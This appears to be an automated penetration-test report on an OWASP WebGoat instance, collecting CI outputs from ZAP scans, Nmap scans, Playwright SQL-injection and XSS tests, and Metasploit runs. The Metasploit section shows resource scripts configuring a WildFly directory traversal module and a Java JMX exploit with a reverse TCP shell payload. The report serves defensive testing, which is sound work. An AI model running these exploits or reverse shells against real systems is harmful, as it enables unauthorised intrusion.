



Pentest Report

Penetration test of **OWASP WebGoat**

Consultant: ASTICI

07/10/2023

Confidential

Executive Summary

Overview

ASTICI Inc. performed a Web Application Penetration Test on OWASP WebGoat applications. The scope of the testing was the following.

- CI/CD deployed OWASP Webgoat instance, deployed through Terraform scripts on Azure
- Covering sample OWASP vulnerabilities
- Covering Nmap scan
- Attempting exploit OWASP Webgoat webserver using readily available Metasploit exploits
- Static code analysis using SonarCloud
- Software Composition Analysis using Snyk

ASTICI Inc. found that with a few minor exceptions the quality and coverage of security controls in the OWASP WebGoat applications were very solid.

Resume

ASTICI Inc. is a start-up researching on Github actions repository technology to enable automated security testing for cloud native web applications.

Finding Classification

Each finding is classified as a High, Medium, or Low risk based on ASTICI Inc. considerations of potential threats, the likelihood of attack, and the possible impact of a successful attack against Instructure's OWASP WebGoat applications. Each of these factors is assessed individually and in combination to determine the overall risk designation. These assessments are based on ASTICI Inc. professional judgment and experience providing consulting services to enterprises across the country. This report outlines the findings ASTICI Inc. collected from the testing, as well as ASTICI Inc. recommendations that will assist Instructure in reducing its risks and helping remove the vulnerabilities found.

Vulnerabilities and Recommendations

Pytest-Playwright Test Output Issue

GitHub Issue number # 468

GitHub Issue URL : [Here!](#)

Playwright pytest

Starting pytest....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0,
playwright-0.4.2, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py .FF [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== FAILURES  
=====
```

_____ testwebgoatsqlitest _____

@pytest.mark.asyncio

async def testwebgoatsqli_test():

''' check and validate if home page can be accessed with JSESSIONID'''

async with async_playwright() as p:

browser = await p.chromium.launch()

page = await browser.new_page()

page.setdefault_timeout(600000)

await asyncutil.webgoatloginproc(page)

await runSqlIOnJQuery(page)

await browser.close()

await print("OWASP WebGoat is vulnerable to SQL Injection!")

E TypeError: object NoneType can't be used in 'await' expression

src/test_AsyncWebGoatUseCases.py:64: TypeError

----- Captured stdout call -----

OWASP WebGoat is vulnerable to SQL Injection!

_____ testwebgoatxsstest _____

@pytest.mark.asyncio

async def testwebgoatxss_test():

async with async_playwright() as p:

browser = await p.chromium.launch()

page = await browser.new_page()

page.setdefault_timeout(600000)

await asyncutil.webgoat_loginproc(page)

await runXssOnjQuery(page)

await browser.close()

await print("OWASP WebGoat is vulnerable to XSS!")

E TypeError: object NoneType can't be used in 'await' expression

src/test_AsyncWebGoatUseCases.py:85: TypeError

----- Captured stdout call -----

OWASP WebGoat is vulnerable to XSS!

===== short test summary info
=====

FAILED src/testAsyncWebGoatUseCases.py::testwebgoatsqlitest - TypeError: object
NoneType can't be used in 'await' expression

FAILED src/testAsyncWebGoatUseCases.py::testwebgoatxsstest - TypeError: object
NoneType can't be used in 'await' expression

===== 2 failed, 3 passed in 28.16s
=====

Stop pytests....

ZAP Full Scan Report

GitHub Issue number # 467

GitHub Issue URL : [Here!](#)

- Site: <http://20.193.244.168:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.193.244.168:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.193.244.168:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.193.244.168:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://20.193.244.168:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://20.193.244.168:8080/WebGoat/login>
 - <http://20.193.244.168:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://20.193.244.168:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.193.244.168:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://20.193.244.168:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://20.193.244.168:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://20.193.244.168:8080/robots.txt>
 - <http://20.193.244.168:8080/WebGoat/login>
 - <http://20.193.244.168:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://20.193.244.168:8080/robots.txt>
 - <http://20.193.244.168:8080/WebGoat/login>
 - <http://20.193.244.168:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://20.193.244.168:8080/robots.txt>
 - <http://20.193.244.168:8080/WebGoat/login>
 - <http://20.193.244.168:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://20.193.244.168:8080/robots.txt>
 - <http://20.193.244.168:8080/WebGoat/login>
 - <http://20.193.244.168:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://20.193.244.168:8080/WebGoat/start.mvc>
 - <http://20.193.244.168:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.193.244.168:8080/>
 - <http://20.193.244.168:8080/robots.txt>
 - <http://20.193.244.168:8080/sitemap.xml>
 - <http://20.193.244.168:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 24:
 - <http://20.193.244.168:8080/WebGoat>
 - <http://20.193.244.168:8080/WebGoat>
 - <http://20.193.244.168:8080/WebGoat>
 - <http://20.193.244.168:8080/WebGoat>
 - <http://20.193.244.168:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6439964726

Metasploit-ParrotOS Test output

GitHub Issue number # 466

GitHub Issue URL : [Here!](#)

parrotOS
metasploit

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [530 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 19.9 MB in 2s (9224 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

31 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0

libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions

31 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 17.1 MB of archives.

After this operation, 51.2 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions

31 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 17.1 MB of archives.

After this operation, 51.2 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

31 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 20.193.244.168

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploitwildflydir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.

resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver

```

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
resource (./src/exploit/javajmxreversehttps.rc)> show options
Module options (exploit/multi/misc/javajmxserver):
Name Current Setting Required Description
----
JMXRMI jmxrmi yes The name where the JMX RMI interface is bound
JMX_PASSWORD no The password to interact with an authenticated JMX endpoint
JMX_ROLE no The role to interact with an authenticated JMX endpoint
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
----
LHOST 172.17.0.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-----
0 Generic (Java Payload)
View the full module info with the info, or info -d command.
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
RHOSTS =>
resource (./src/exploit/javajmxreversehttps.rc)> use payload/generic/shellreversetcp
resource (./src/exploit/javajmxreversehttps.rc)> exploit
[*] Payload Handler Started as Job
resource (./src/exploit/javajmxreversehttps.rc)> exit
=====

```

Nmap-ParrotOS Scan output

GitHub Issue number # 465

GitHub Issue URL : [Here!](#)

parrotOS
nmap

Nmap vulnerability scanning
for 20.193.244.168

Making sure that parrot OS docker image has all the latest updates...

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libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions
31 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 17.1 MB of archives.
After this operation, 51.2 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
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bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
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libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions
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Need to get 17.1 MB of archives.
After this operation, 51.2 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
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Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease
Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease
Reading package lists...
Building dependency tree...
Reading state information...
31 packages can be upgraded. Run 'apt list --upgradable' to see them.
Running basic nmap scan...
Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-07 08:18 UTC

Nmap scan report for 20.193.244.168

Host is up (0.25s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 56:b3:a5:b0:54:79:2b:23:c7:ba:56:2e:4d:da:28:8b (ECDSA)

|_ 256 fe:97:2a:2d:06:96:63:56:e2:57:bd:2d:72:7b:55:fd (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sat, 07 Oct 2023 08:22:19 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sat, 07 Oct 2023 08:22:17 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Sat, 07 Oct 2023 08:22:18 GMT

|_http-title: Site doesn't have a title.
9090/tcp open zeus-admin?
| fingerprint-strings:
| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY
| Date: Sat, 07 Oct 2023 08:22:17 GMT
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-10-07T08:22:17.930+00:00",
| "status" : 404,
| "error" : "Not Found",
| "path" : "/"
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Expires: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| X-XSS-Protection: 1; mode=block
| Pragma: no-cache
| X-Frame-Options: DENY

| Date: Sat, 07 Oct 2023 08:22:36 GMT
| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH
| Connection: close
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| X-Content-Type-Options: nosniff
| Content-Type: application/json
| "timestamp" : "2023-10-07T08:22:36.277+00:00",
| "status" : 404,
| "error" : "Not Found",
|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=10/7%Time=6521153A%P=x86_64-pc-linux-gnu%(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Sat, 07 Oct 2023 08:22:1

SF:7 GMT

")%(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Sat, 07\x

SF:20Oct 2023 08:22:18 GMT

")%(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Sat, 07

SF:00Oct 2023 08:22:19 GMT

")%(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%(GenericLines,42,"HTTP/1.1 400 Bad Request Content-

SF:Length: 0 Connection: close
")%r(Help,42,"HTTP/1.1
SF:400 Bad Request Content-Length: 0 Connection: close
SF:
")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont
SF:ent-Length: 0 Connection: close
")%r(TerminalServerCook
SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co
SF:nnection: close
")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba
SF:d Request Content-Length: 0 Connection: close
")%
SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:
SF:00 Connection: close
")%r(SMBProgNeg,42,"HTTP/1.1 400\n
SF:x20Bad Request Content-Length: 0 Connection: close
SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng
SF:th: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1.
SF:1 400 Bad Request Content-Length: 0 Connection: cl
SF:ose
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co
SF:ntent-Length: 0 Connection: close
")%r(WMSRequest,42,"H
SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection
SF:: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques
SF:t Content-Length: 0 Connection: close
");
=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=10/7%Time=6521153A%P=x86_64-pc-linux-
gnu%r(Ge

SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach
SF:e-Control: no-cache, no-store, max-age=0, must-revalidate
SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra
SF:me-Options: DENY Date: Sat, 07 Oct 2023 08:22:17\x
SF:20GMT Connection: close Vary: Origin Vary: Access-Con
SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con
SF:tent-Type-Options: nosniff Content-Type: application/json \n
SF:r { \"timestamp\" : \"2023-10-07T08:22:17.930+00:00\"
SF:, \"status\" : 404, \"error\" : \"Not
SF:Found\", \"path\" : \"\" })\"%r(WMSRequest,42,\"HTTP/1.
SF:1 400 Bad Request Content-Length: 0 Connection: cl
SF:ose
\")%r(ibm-db2-das,42,\"HTTP/1.1 400 Bad Request C
SF:ontent-Length: 0 Connection: close
\")%r(SqueezeCenter_C
SF:LI,42,\"HTTP/1.1 400 Bad Request Content-Length: 0 Co
SF:nnection: close
\")%r(GenericLines,42,\"HTTP/1.1 400 Bad
SF: Request Content-Length: 0 Connection: close
\")%r
SF:(HTTPOptions,22B,\"HTTP/1.1 404 Not Found Expires: 0
SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida
SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X
SF:-Frame-Options: DENY Date: Sat, 07 Oct 2023 08:22:
SF:36 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA
SF:CE, OPTIONS, PATCH Connection: close Vary: Origin
SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque
SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap
SF:plication/json
{ \"timestamp\" : \"2023-10-07T08:
SF:22:36.277+00:00\", \"status\" : 404, \"error\"
SF:\" : \"Not Found\", \"path\" : \"\" })\"%r(RTSP

SF:Request,42,"HTTP/1.1 400 Bad Request Content-Length: 0\n

SF:r Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3 cpe:/o:linux:linuxkernel:4.2 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.2 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 26 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 ... 25

26 252.11 ms 20.193.244.168

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 374.77 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-07 08:24 UTC

Nmap scan report for 20.193.244.168

Host is up (0.26s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-10-07 08:24 UTC

Nmap scan report for 20.193.244.168

Host is up (0.24s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.35 seconds

ZAP Full Scan Report

GitHub Issue number # 464

GitHub Issue URL : [Here!](#)

- Site: <http://20.193.244.168:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.193.244.168:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.193.244.168:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.193.244.168:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.193.244.168:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://20.193.244.168:8080/>
 - <http://20.193.244.168:8080/sitemap.xml>
 - <http://20.193.244.168:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://20.193.244.168:8080/>
 - <http://20.193.244.168:8080/sitemap.xml>
 - <http://20.193.244.168:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://20.193.244.168:8080/>
 - <http://20.193.244.168:8080/sitemap.xml>
 - <http://20.193.244.168:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://20.193.244.168:8080/>
 - <http://20.193.244.168:8080/sitemap.xml>
 - <http://20.193.244.168:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.193.244.168:8080/>
 - <http://20.193.244.168:8080/robots.txt>
 - <http://20.193.244.168:8080/sitemap.xml>
 - <http://20.193.244.168:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://20.193.244.168:8080/WebGoat>
 - <http://20.193.244.168:8080/WebGoat>
 - <http://20.193.244.168:8080/WebGoat>
 - <http://20.193.244.168:8080/WebGoat>
 - <http://20.193.244.168:8080/WebGoat>
 - ..

View the [following link](#) to download the report. RunnerID:6439964726

Snyk Report

GitHub Issue number # 463

GitHub Issue URL : [Here!](#)

Snyk_scan

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Sonar Cloud Code Scan Report

GitHub Issue number # 462

GitHub Issue URL : [Here!](#)

SonarQube Cloud code scan

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Pytest-Playwright Test Output Issue

GitHub Issue number # 461

GitHub Issue URL : [Here!](#)

Playwright pytest

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.2, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

plugins: asyncio-0.21.1, anyio-4.0.0, tornasync-0.6.0.post2, base-url-2.0.0,
playwright-0.4.2, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== 5 passed in 29.44s  
=====
```

Stop pytests....

ZAP Full Scan Report

GitHub Issue number # 460

GitHub Issue URL : [Here!](#)

- Site: <http://20.204.35.137:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.204.35.137:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.204.35.137:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.204.35.137:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://20.204.35.137:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://20.204.35.137:8080/WebGoat/login>
 - <http://20.204.35.137:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://20.204.35.137:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.204.35.137:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://20.204.35.137:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://20.204.35.137:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/WebGoat/login>
 - <http://20.204.35.137:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/WebGoat/login>
 - <http://20.204.35.137:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/WebGoat/login>
 - <http://20.204.35.137:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/WebGoat/login>
 - <http://20.204.35.137:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://20.204.35.137:8080/WebGoat/start.mvc>
 - <http://20.204.35.137:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.204.35.137:8080/>
 - <http://20.204.35.137:8080/robots.txt>
 - <http://20.204.35.137:8080/sitemap.xml>
 - <http://20.204.35.137:8080/WebGoat/login>
 - **User Agent Fuzzer** [10104] total: 24:
 - <http://20.204.35.137:8080/WebGoat>
 - <http://20.204.35.137:8080/WebGoat>

- <http://20.204.35.137:8080/WebGoat>
- <http://20.204.35.137:8080/WebGoat>
- <http://20.204.35.137:8080/WebGoat>
- ..

View the [following link](#) to download the report. RunnerID:6415803484

- Site: <http://20.193.244.168:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://20.193.244.168:8080/WebGoat/registration>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://20.193.244.168:8080/WebGoat/registration>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://20.193.244.168:8080/WebGoat/registration>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://20.193.244.168:8080/WebGoat/registration>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
 - <http://20.193.244.168:8080/>
 - <http://20.193.244.168:8080/robots.txt>
 - <http://20.193.244.168:8080/sitemap.xml>
 - <http://20.193.244.168:8080/WebGoat/registration>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
 - <http://20.193.244.168:8080/>
 - <http://20.193.244.168:8080/robots.txt>
 - <http://20.193.244.168:8080/sitemap.xml>
 - <http://20.193.244.168:8080/WebGoat/registration>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
 - <http://20.193.244.168:8080/>
 - <http://20.193.244.168:8080/robots.txt>
 - <http://20.193.244.168:8080/sitemap.xml>
 - <http://20.193.244.168:8080/WebGoat/registration>
 - **Sec-Fetch-User Header is Missing** [90005] total: 4:
 - <http://20.193.244.168:8080/>
 - <http://20.193.244.168:8080/robots.txt>
 - <http://20.193.244.168:8080/sitemap.xml>
 - <http://20.193.244.168:8080/WebGoat/registration>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://20.193.244.168:8080/>
 - <http://20.193.244.168:8080/robots.txt>
 - <http://20.193.244.168:8080/sitemap.xml>
 - <http://20.193.244.168:8080/WebGoat/registration>
 - **User Agent Fuzzer** [10104] total: 12:
 - <http://20.193.244.168:8080/WebGoat>
 - <http://20.193.244.168:8080/WebGoat>
 - <http://20.193.244.168:8080/WebGoat>
 - <http://20.193.244.168:8080/WebGoat>
 - <http://20.193.244.168:8080/WebGoat>
 - ..

